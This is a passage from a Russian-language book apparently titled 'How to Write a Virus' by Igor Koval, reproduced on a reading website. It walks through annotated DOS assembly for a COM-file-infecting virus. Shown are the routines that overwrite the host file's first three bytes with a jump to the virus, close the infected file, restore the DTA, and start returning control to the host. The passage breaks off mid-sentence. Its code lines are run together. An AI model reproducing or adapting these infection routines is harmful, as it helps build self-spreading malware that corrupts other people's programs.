"Игорь Коваль. Как написать вирус" - читать интересную книгу автора write_bytes:
mov ax,4200h ;Установим ука- xor cx,cx ;затель на нача- xor dx,dx ;ло файла int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,3 ;первые три бай- lea dx,new_bytes ;та ( команду int 21h ;перехода ) ... close: mov ah,3eh ;Закроем зара- int 21h ;женный файл ... При записи первых трех байт в файл помещается ко- манда перехода на код вируса. Все остальное можно понять из приведенных комментариев . 1.14 Восстанавливаем DTA Для корректной работы зараженной программы восста- новим ее DTA .Напомним,что вирус " прячет " ее в Поэтому : restore_dta: mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива dta_fresh: mov al,ds:[si] ;Читаем из мас- ;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено- ;сим его в DTA inc bx ;К новому байту inc si ; loop dta_fresh ;Цикл 128 раз 1.15 Передаем управление зараженной программе Работа вируса окончена . Теперь он должен отдать управление программе - носителю.Как мы выяснили, для этой цели достаточно выполнить переход на ад- рес CS : 100h . Поэтому занесем в стек содержимое CS,и затем - число 100h.А после этого выполним ко- |
|
|